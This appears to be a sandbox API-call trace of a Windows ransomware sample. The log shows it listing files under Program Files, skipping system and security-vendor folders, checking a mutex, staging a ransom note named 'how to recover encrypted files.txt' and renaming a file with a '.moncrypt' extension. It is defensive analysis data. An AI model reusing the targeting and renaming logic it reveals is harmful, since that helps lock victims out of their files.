[0046.822] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.822] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.822] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.822] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.822] GlobalUnlock (hMem=0x44000c) returned 0 [0046.822] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.822] GlobalLock (hMem=0x440004) returned 0x554190 [0046.822] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.822] GlobalUnlock (hMem=0x44000c) returned 0 [0046.822] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.822] GlobalUnlock (hMem=0x440004) returned 0 [0046.822] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.822] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.823] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.823] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.823] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0046.823] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0046.823] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0046.824] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0046.824] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.824] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0046.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0046.824] GlobalLock (hMem=0x440004) returned 0x552180 [0046.824] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.824] GlobalUnlock (hMem=0x440004) returned 0 [0046.824] GlobalLock (hMem=0x440004) returned 0x552180 [0046.824] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.824] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.824] GlobalUnlock (hMem=0x440004) returned 0 [0046.824] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.825] GlobalUnlock (hMem=0x44000c) returned 0 [0046.825] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d98, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.825] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.825] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0046.825] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.825] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.825] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.825] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.825] GlobalUnlock (hMem=0x44000c) returned 0 [0046.825] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.825] GlobalLock (hMem=0x440004) returned 0x555198 [0046.825] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.825] GlobalUnlock (hMem=0x44000c) returned 0 [0046.825] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.825] GlobalUnlock (hMem=0x440004) returned 0 [0046.825] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.825] CharLowerBuffW (in: lpsz="osknumpadbase.xml", cchLength=0x11 | out: lpsz="osknumpadbase.xml") returned 0x11 [0046.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.826] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", cchWideChar=92, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xmle", lpUsedDefaultChar=0x0) returned 92 [0046.826] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xmle", lpUsedDefaultChar=0x0) returned 4 [0046.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.827] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.827] CloseHandle (hObject=0x190) returned 1 [0046.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\я")) returned 1 [0046.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0x54e280 [0046.829] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.829] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.829] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", dwFileAttributes=0x20) returned 0 [0046.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.moncrypt")) returned 0 [0046.830] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0046.830] GetLastError () returned 0x12 [0046.830] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.830] GlobalLock (hMem=0x440004) returned 0x552180 [0046.830] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.830] GlobalUnlock (hMem=0x440004) returned 0 [0046.830] GlobalLock (hMem=0x440004) returned 0x552180 [0046.830] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.830] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.830] GlobalUnlock (hMem=0x440004) returned 0 [0046.830] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.830] GlobalUnlock (hMem=0x44000c) returned 0 [0046.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61dd8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3144a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d3144a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.830] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.830] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.830] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.830] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.830] GlobalUnlock (hMem=0x44000c) returned 0 [0046.830] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.830] GlobalLock (hMem=0x440004) returned 0x554190 [0046.830] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.830] GlobalUnlock (hMem=0x44000c) returned 0 [0046.831] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.831] GlobalUnlock (hMem=0x440004) returned 0 [0046.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.831] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3144a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d3144a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.831] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.831] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.831] GlobalLock (hMem=0x440004) returned 0x553188 [0046.831] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.831] GlobalUnlock (hMem=0x440004) returned 0 [0046.831] GlobalLock (hMem=0x440004) returned 0x553188 [0046.831] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.831] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.831] GlobalUnlock (hMem=0x440004) returned 0 [0046.831] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.831] GlobalUnlock (hMem=0x44000c) returned 0 [0046.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.831] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0046.831] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.831] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.831] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.831] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.831] GlobalUnlock (hMem=0x44000c) returned 0 [0046.831] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.831] GlobalLock (hMem=0x440004) returned 0x555198 [0046.831] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.831] GlobalUnlock (hMem=0x44000c) returned 0 [0046.831] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.831] GlobalUnlock (hMem=0x440004) returned 0 [0046.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.832] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0046.832] GetLastError () returned 0x12 [0046.832] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.832] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0046.832] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.832] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.832] GlobalLock (hMem=0x440004) returned 0x552180 [0046.832] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.832] GlobalUnlock (hMem=0x440004) returned 0 [0046.832] GlobalLock (hMem=0x440004) returned 0x552180 [0046.832] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.832] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.832] GlobalUnlock (hMem=0x440004) returned 0 [0046.832] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.832] GlobalUnlock (hMem=0x44000c) returned 0 [0046.832] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.832] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0046.832] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 